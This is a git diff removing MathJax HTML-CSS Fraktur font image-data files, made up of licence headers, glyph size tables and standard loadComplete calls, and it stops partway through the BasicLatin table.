- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur-bold": {
-    0xE301: [  // ??
-      [4,6,1],[5,7,1],[6,8,1],[6,9,1],[8,10,1],[9,12,1],[10,14,1],[12,16,1],
-      [15,19,1],[17,22,1],[20,27,2],[24,32,2],[29,37,2],[34,44,2]
-    ],
-    0xE302: [  // ??
-      [3,7,2],[4,8,2],[4,10,3],[5,12,3],[6,13,3],[7,16,4],[8,19,5],[10,22,6],
-      [12,26,6],[14,30,7],[16,37,9],[19,43,10],[23,51,12],[27,60,14]
-    ],
-    0xE303: [  // ??
-      [3,7,2],[4,8,2],[4,10,3],[5,11,3],[6,13,3],[7,16,4],[8,19,5],[9,22,6],
-      [11,26,7],[13,31,8],[15,36,9],[18,43,11],[21,51,13],[26,60,15]
-    ],
-    0xE304: [  // ??
-      [4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,12,4],[11,15,5],[13,16,5],
-      [15,19,6],[18,23,7],[21,28,9],[25,32,10],[30,38,12],[35,45,14]
-    ],
-    0xE305: [  // ??
-      [3,6,1],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[8,15,1],[9,17,1],
-      [11,20,1],[13,24,1],[16,29,2],[18,34,2],[22,40,2],[26,48,2]
-    ],
-    0xE308: [  // ??
-      [7,7,2],[8,8,2],[9,9,2],[11,11,3],[13,13,3],[15,16,4],[18,19,5],[21,22,6],
-      [25,26,7],[29,31,8],[35,36,9],[41,43,11],[49,51,13],[58,60,15]
-    ],
-    0xE309: [  // ??
-      [5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[13,17,3],[15,20,3],
-      [18,24,4],[21,29,5],[25,35,6],[30,41,7],[35,48,8],[42,58,10]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
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- *
- *  Part of the MathJax library.
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- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Main.js
deleted file mode 100644
index d8bed846..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Fraktur:{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Other.js
deleted file mode 100644
index 273c542f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Fraktur:{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],8216:[[2,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[3,5,-5],[3,5,-7],[4,6,-7],[4,7,-9],[5,8,-11],[6,10,-14],[7,12,-16],[8,14,-18],[9,17,-21],[11,20,-26]],8217:[[2,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[3,5,-5],[3,5,-7],[4,6,-7],[4,7,-9],[5,8,-11],[6,10,-14],[7,12,-16],[8,14,-18],[10,17,-21],[11,20,-26]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/PUA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/PUA.js
deleted file mode 100644
index 64e20db6..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/PUA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/PUA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({MathJax_Fraktur:{58112:[[3,6,1],[4,7,1],[5,8,1],[6,9,1],[6,11,1],[8,13,1],[9,15,1],[10,17,1],[12,20,1],[15,25,2],[17,29,2],[21,34,2],[24,40,2],[29,48,3]],58113:[[3,6,1],[4,7,1],[5,8,1],[6,9,1],[6,10,1],[8,12,1],[9,13,1],[11,16,1],[12,19,1],[15,22,1],[17,27,2],[21,31,2],[24,37,2],[29,43,2]],58114:[[3,7,2],[3,8,2],[4,10,3],[4,11,3],[5,13,3],[6,16,4],[7,19,5],[9,21,5],[10,25,6],[12,30,7],[14,36,9],[16,42,10],[19,51,13],[23,60,15]],58115:[[3,7,2],[3,8,2],[4,10,3],[4,11,3],[5,13,3],[6,16,4],[7,19,5],[8,22,6],[9,25,6],[11,31,8],[13,36,9],[15,43,11],[18,51,13],[21,60,15]],58116:[[3,6,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,12,4],[9,15,5],[11,16,5],[13,20,6],[15,24,8],[18,28,9],[21,32,10],[25,39,12],[30,46,15]],58117:[[2,6,1],[3,7,1],[4,8,1],[4,10,1],[5,11,1],[6,13,1],[7,15,1],[8,17,1],[9,21,1],[11,24,1],[13,28,1],[15,33,1],[18,40,1],[21,48,2]],58118:[[3,5,1],[3,6,1],[4,7,1],[4,8,1],[5,10,1],[6,11,1],[7,13,1],[9,15,1],[10,18,1],[12,21,1],[14,24,1],[17,28,1],[20,34,1],[23,41,2]],58119:[[5,5,1],[5,5,1],[5,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[12,13,1],[15,15,1],[17,17,1],[21,20,1],[24,24,1],[29,29,2],[34,34,2]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Fraktur/Regular"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/PUA.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/BasicLatin.js
deleted file mode 100644
index 19dfc241..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,361 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Fraktur/Regular/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Fraktur": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,4,0],[2,6,0],[2,7,0],[3,9,0],[3,10,0],[4,12,0],[4,13,0],[5,17,1],
-      [6,20,1],[7,24,1],[8,28,1],[10,33,1],[12,39,2],[14,46,1]
-    ],
-    0x22: [  // QUOTATION MARK
-      [2,2,-2],[2,3,-3],[2,3,-4],[3,4,-5],[3,4,-6],[4,5,-7],[4,5,-8],[5,7,-9],
-      [6,8,-11],[7,9,-15],[8,11,-17],[10,13,-19],[11,15,-23],[13,18,-28]
-    ],
-    0x26: [  // AMPERSAND
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[18,17,1],
-      [21,20,1],[25,25,1],[29,29,1],[35,33,1],[41,39,1],[49,46,0]
-    ],
-    0x27: [  // APOSTROPHE
-      [1,2,-2],[2,3,-3],[2,3,-4],[2,4,-5],[2,4,-6],[3,5,-7],[3,5,-8],[4,7,-9],
-      [4,8,-11],[5,9,-15],[6,11,-17],[7,13,-19],[8,15,-23],[9,17,-29]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,7,2],[3,9,2],[3,11,2],[4,13,3],[5,15,3],[5,16,4],[6,18,4],[7,22,5],
-      [9,26,5],[10,32,7],[12,38,8],[14,44,9],[17,51,10],[20,61,12]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [2,7,2],[3,9,2],[3,10,2],[4,13,3],[4,14,3],[5,17,4],[6,18,4],[7,23,5],
-      [8,27,6],[10,32,7],[11,38,8],[13,44,9],[16,52,11],[19,62,13]
-    ],
-    0x2A: [  // ASTERISK
-      [2,2,-2],[2,2,-4],[3,3,-4],[3,3,-6],[4,4,-6],[4,4,-8],[5,5,-8],[6,6,-10],
-      [7,7,-12],[8,8,-15],[10,10,-17],[11,11,-21],[13,13,-24],[16,16,-29]
-    ],
-    0x2B: [  // PLUS SIGN
-      [5,5,1],[6,7,1],[7,9,2],[9,9,1],[10,11,2],[12,13,2],[14,13,2],[17,17,2],
-      [20,20,3],[24,24,4],[28,28,3],[33,32,4],[40,38,5],[47,46,6]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,3,2],[3,3,2],[3,4,3],[3,5,3],[4,5,4],[5,6,4],[5,7,4],
-      [6,8,5],[8,10,6],[9,12,8],[10,14,9],[12,17,10],[15,20,13]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [5,1,-1],[6,1,-2],[7,1,-2],[9,1,-3],[10,1,-3],[12,1,-4],[14,1,-4],[17,1,-5],
-      [20,2,-6],[24,3,-7],[28,2,-9],[33,2,-11],[40,3,-13],[47,3,-15]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,1,0],[2,2,0],[3,2,0],[3,2,0],[4,2,0],[4,3,0],[5,3,1],
-      [6,4,1],[7,4,1],[8,5,1],[10,6,1],[12,7,1],[14,8,1]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,6,1],[4,8,2],[5,10,3],[6,12,3],[7,14,4],[8,16,4],[10,17,4],[11,21,4],
-      [13,25,5],[16,31,6],[19,37,7],[22,42,8],[26,50,10],[31,59,12]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,12,1],
-      [13,14,1],[15,17,1],[18,21,1],[22,24,1],[26,28,1],[30,33,1]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,9,0],[11,12,1],
-      [13,13,0],[16,16,0],[19,19,0],[22,24,1],[26,26,0],[31,31,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,9,1],[10,10,1],[12,11,0],
-      [14,13,0],[16,16,0],[19,19,0],[23,22,0],[27,26,0],[32,31,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [3,5,2],[4,6,2],[5,7,2],[6,9,3],[6,10,3],[8,11,3],[9,13,4],[10,15,4],
-      [12,18,5],[15,23,7],[17,27,8],[20,31,9],[24,36,10],[29,43,12]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,1],[4,7,2],[5,8,2],[6,10,3],[7,11,3],[8,13,4],[10,14,4],[12,17,5],
-      [14,19,6],[16,24,7],[19,27,8],[23,32,9],[27,38,11],[32,45,13]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,4,1],[4,6,2],[5,7,2],[6,8,2],[7,10,3],[8,11,3],[9,12,3],[11,15,4],
-      [13,18,5],[15,23,7],[18,27,8],[21,31,9],[25,35,10],[29,42,12]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,4,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[8,12,0],[10,13,0],[11,17,1],
-      [14,20,1],[16,25,1],[19,29,1],[22,34,2],[27,39,1],[31,47,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,4,1],[5,6,2],[5,7,2],[6,8,2],[7,10,3],[9,11,3],[10,12,3],[12,15,4],
-      [14,18,5],[17,22,6],[20,26,7],[24,30,8],[28,36,10],[33,43,12]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,4,0],[4,7,0],[5,8,0],[6,10,0],[7,11,0],[8,13,0],[9,14,0],[11,18,1],
-      [13,21,1],[16,25,0],[19,30,1],[22,35,2],[26,40,1],[31,48,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,2],[4,6,2],[5,7,2],[6,9,3],[7,10,3],[8,11,3],[10,13,4],[11,15,4],
-      [13,18,5],[16,22,6],[19,27,8],[22,31,9],[26,36,10],[31,43,12]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[2,4,0],[2,5,0],[2,6,0],[3,7,0],[3,8,0],[4,9,0],[4,12,1],
-      [5,14,1],[6,16,1],[7,19,0],[8,22,1],[10,26,1],[12,31,1]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,5,2],[2,6,2],[2,7,2],[3,9,3],[3,10,3],[3,11,3],[4,13,4],[5,15,4],
-      [5,18,5],[6,23,7],[7,27,8],[9,31,9],[10,37,11],[12,43,13]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [5,2,0],[7,3,-1],[8,3,-1],[9,4,-1],[11,4,-2],[13,4,-2],[15,5,-2],[17,6,-3],
-      [21,7,-3],[24,10,-4],[29,10,-5],[34,11,-6],[41,13,-7],[48,16,-9]
-    ],
-    0x3F: [  // QUESTION MARK
-      [3,4,0],[3,6,0],[4,7,0],[5,9,0],[5,10,0],[6,12,0],[7,13,0],[9,17,1],
-      [10,20,1],[12,24,0],[14,28,0],[17,33,1],[20,39,1],[24,46,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,1],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,14,1],[17,17,1],
-      [20,20,1],[24,25,1],[28,29,1],[33,33,1],[40,39,1],[47,48,2]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[16,13,0],[19,17,1],
-      [23,20,1],[27,25,1],[32,29,1],[38,33,1],[46,39,1],[54,48,2]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,4,0],[6,6,0],[6,7,0],[8,9,0],[9,10,0],[11,12,0],[12,13,0],[15,17,1],
-      [17,20,1],[20,24,1],[24,28,1],[29,33,1],[34,38,1],[40,47,2]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,14,1],[18,17,1],
-      [21,20,1],[25,24,1],[30,28,1],[35,33,1],[42,39,2],[50,47,2]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[15,17,1],
-      [18,20,1],[21,24,1],[25,28,1],[30,33,1],[36,38,1],[42,47,2]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,6,2],[6,7,1],[6,9,2],[8,11,2],[9,13,3],[11,14,2],[12,16,3],[15,20,4],
-      [17,23,4],[20,29,6],[24,34,7],[29,39,7],[34,46,9],[40,55,10]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,17,1],
-      [20,20,1],[24,24,1],[28,28,1],[33,33,1],[40,38,1],[47,47,2]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [5,5,1],[6,8,2],[7,9,2],[8,11,2],[9,12,2],[11,15,3],[13,16,3],[15,19,3],
-      [18,23,4],[22,28,5],[26,33,6],[30,38,6],[36,45,7],[43,53,9]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,13,0],[13,17,1],
-      [15,20,1],[18,24,1],[21,28,1],[25,33,1],[30,38,1],[35,47,2]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [5,6,2],[6,7,1],[7,9,2],[8,11,2],[9,12,2],[10,14,2],[12,16,3],[14,19,3],
-      [16,23,4],[19,28,5],[22,33,6],[26,38,6],[30,46,9],[36,54,9]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[16,17,1],
-      [19,20,1],[23,24,1],[27,28,1],[32,33,1],[38,38,1],[45,47,2]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[15,17,1],
-      [18,20,1],[22,24,1],[26,28,1],[30,33,1],[36,38,1],[43,47,2]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [8,4,0],[9,6,0],[11,7,0],[13,9,0],[15,10,0],[18,12,0],[21,14,1],[25,17,1],
-      [29,20,1],[35,24,1],[42,28,1],[49,33,1],[58,39,2],[70,47,2]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [6,5,1],[7,7,1],[9,8,1],[10,10,1],[12,11,1],[14,13,1],[17,14,1],[20,18,2],
-      [23,21,2],[28,25,2],[33,29,2],[39,34,2],[46,39,2],[55,48,3]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,9,0],[9,10,0],[11,11,0],[13,13,0],[15,15,0],[18,18,1],
-      [21,21,1],[25,26,1],[29,31,1],[35,35,1],[41,42,1],[49,50,2]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,5,1],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,17,4],[19,21,5],
-      [23,25,6],[27,31,7],[32,37,9],[38,42,10],[45,50,12],[53,60,14]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,7,1],[8,10,1],[10,11,1],[11,13,1],[13,14,1],[16,16,1],[19,19,2],
-      [22,22,2],[26,28,3],[31,33,3],[37,37,3],[44,45,4],[52,52,5]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,13,0],[20,17,1],
-      [23,20,1],[28,24,1],[33,28,1],[39,33,1],[46,38,1],[55,47,2]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[18,17,1],
-      [21,20,1],[25,25,1],[30,29,1],[35,33,1],[42,39,1],[50,48,2]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,1],[6,7,1],[7,8,1],[8,9,0],[10,11,1],[12,13,1],[14,14,1],[16,17,1],
-      [19,20,1],[23,25,1],[27,30,2],[32,33,1],[38,40,2],[45,48,2]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[7,7,0],[8,8,0],[9,10,0],[11,11,0],[13,13,0],[14,14,0],[17,17,1],
-      [20,20,1],[23,25,1],[28,29,1],[33,34,1],[39,40,1],[46,47,2]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[16,13,0],[20,17,1],
-      [23,20,1],[27,24,1],[33,28,1],[39,33,1],[46,38,1],[54,47,2]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,4,0],[9,6,0],[11,7,0],[13,9,0],[15,10,0],[18,12,0],[21,13,0],[25,17,1],
-      [30,20,1],[35,24,1],[42,28,1],[49,33,1],[59,38,1],[70,47,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,17,1],
-      [20,20,1],[24,24,1],[28,28,1],[33,33,1],[40,38,1],[47,47,2]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,6,1],[7,9,2],[8,10,2],[9,12,3],[11,14,3],[13,17,4],[15,18,4],[18,22,5],
-      [21,26,6],[25,31,7],[29,37,9],[35,43,10],[41,50,12],[49,60,14]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [4,6,1],[5,8,1],[6,10,1],[7,12,2],[8,14,2],[9,15,2],[11,17,3],[13,20,3],
-      [15,24,4],[18,30,5],[21,36,7],[25,41,7],[30,48,8],[35,58,9]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [2,6,1],[3,8,1],[3,10,1],[4,12,2],[4,13,2],[5,15,2],[6,17,2],[7,21,3],
-      [8,24,4],[10,30,4],[11,35,5],[13,41,6],[16,48,7],[19,57,9]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [3,6,1],[3,8,1],[3,10,1],[3,12,2],[4,13,2],[4,15,2],[5,17,2],[5,21,3],
-      [6,24,4],[7,30,4],[8,36,5],[9,41,6],[10,48,7],[12,57,9]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [4,3,-2],[5,3,-4],[5,4,-4],[6,4,-6],[7,5,-6],[9,6,-7],[10,7,-8],[12,8,-10],
-      [14,9,-11],[17,11,-15],[20,12,-18],[23,14,-20],[28,17,-24],[33,20,-29]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,1],[12,12,1],
-      [14,14,1],[17,17,1],[20,20,1],[24,23,1],[28,28,2],[33,33,2]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,11,0],[8,12,0],[9,15,1],[11,18,1],
-      [13,20,1],[15,25,1],[18,29,1],[21,34,1],[25,40,2],[30,48,2]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [3,4,1],[3,5,1],[4,6,1],[5,7,1],[5,8,1],[6,9,1],[8,10,1],[9,12,1],
-      [10,14,1],[12,17,1],[15,21,2],[17,24,2],[20,28,2],[24,34,3]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [3,4,0],[4,6,0],[5,7,0],[6,8,0],[6,10,0],[8,11,0],[9,12,1],[10,15,1],
-      [12,18,1],[15,22,1],[17,26,1],[20,30,1],[24,36,2],[29,42,2]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [3,3,0],[4,5,0],[4,6,0],[5,7,0],[6,8,0],[7,9,0],[8,10,1],[9,12,1],
-      [11,14,1],[12,17,1],[15,20,1],[17,24,1],[21,28,2],[24,33,2]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,6,1],[3,8,2],[4,10,2],[4,12,3],[5,14,3],[6,16,4],[7,18,4],[8,21,5],
-      [9,25,6],[11,31,7],[13,37,9],[15,43,10],[18,50,12],[22,60,14]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,5,1],[4,7,2],[5,8,2],[6,10,3],[7,11,3],[8,13,4],[9,14,4],[11,17,5],
-      [13,20,6],[15,24,7],[18,29,9],[22,33,10],[26,39,12],[30,46,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [3,6,2],[4,8,2],[5,9,2],[6,12,3],[6,13,3],[8,15,3],[9,17,4],[11,22,6],
-      [12,26,7],[15,31,8],[17,36,9],[21,42,10],[24,48,11],[29,60,15]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [2,4,0],[3,6,0],[3,7,0],[4,9,0],[4,10,0],[5,12,0],[6,13,0],[7,17,1],
-      [8,20,1],[9,24,1],[11,28,1],[13,33,1],[15,38,1],[18,46,2]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,2],[3,8,2],[3,10,3],[4,12,3],[4,14,3],[5,15,4],[5,18,5],[6,21,5],
-      [7,25,7],[8,31,7],[9,36,9],[11,42,10],[12,50,12],[14,59,14]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [3,5,0],[3,7,0],[4,8,0],[5,10,0],[5,11,0],[6,13,0],[8,14,0],[9,18,1],
-      [10,21,1],[12,25,1],[15,29,1],[17,34,1],[21,40,1],[24,47,2]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [2,5,1],[3,6,0],[3,8,1],[4,9,0],[4,11,1],[5,13,1],[6,14,1],[7,17,1],
-      [8,20,1],[10,24,1],[11,29,2],[13,33,1],[16,39,2],[19,47,2]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,5,1],[7,6,1],[8,7,1],[9,8,1],[11,9,1],[13,10,1],[15,11,1],[18,13,1],
-      [21,15,1],[25,18,1],[30,22,2],[35,24,1],[42,29,2],[50,34,2]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,10,0],[12,12,1],
-      [15,14,1],[17,17,1],[21,20,1],[24,23,1],[29,28,1],[34,33,2]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [3,4,1],[4,5,1],[5,6,1],[5,7,1],[6,8,1],[7,9,1],[9,10,1],[10,12,1],
-      [12,14,1],[14,17,1],[17,21,2],[20,24,2],[23,28,2],[28,34,3]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [3,6,2],[4,7,2],[5,9,3],[6,10,3],[6,12,4],[8,14,4],[9,15,4],[10,18,5],
-      [12,21,6],[15,26,7],[17,31,9],[20,35,10],[24,42,12],[29,50,14]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [3,5,2],[4,6,2],[5,8,3],[5,9,3],[6,11,4],[7,12,4],[9,14,5],[10,16,5],
-      [12,20,7],[14,24,8],[17,28,9],[20,32,10],[24,38,12],[28,46,15]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,5,1],[4,6,1],[4,7,1],[5,8,1],[6,9,1],[7,10,1],[8,11,1],[9,13,1],
-      [11,15,1],[13,18,1],[16,21,1],[18,24,1],[22,28,1],[26,33,1]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [4,4,0],[5,4,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[9,11,1],[11,13,1],
-      [13,15,1],[15,18,1],[17,21,1],[20,24,1],[24,29,2],[29,34,2]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,5,0],[3,6,0],[4,8,0],[5,8,0],[5,10,0],[6,12,0],[7,13,0],[9,16,1],
-      [10,18,1],[12,23,1],[14,27,1],[17,31,1],[20,36,1],[23,44,2]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,5,1],[5,4,0],[6,6,0],[7,8,1],[8,9,1],[9,10,1],[10,11,1],[12,13,2],
-      [15,15,2],[17,18,2],[21,22,2],[24,24,2],[29,29,2],[34,34,3]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [3,5,1],[4,6,1],[5,7,0],[6,8,0],[6,10,1],[8,11,1],[9,12,1],[11,14,1],
-      [12,17,2],[15,20,1],[17,24,2],[21,27,2],[24,32,2],[29,37,2]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,4,1],[6,5,1],[7,6,1],[9,7,0],[10,9,1],[12,11,1],[14,12,1],[16,14,1],
-      [20,16,1],[23,20,2],[27,23,1],[32,27,2],[39,31,2],[46,37,2]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
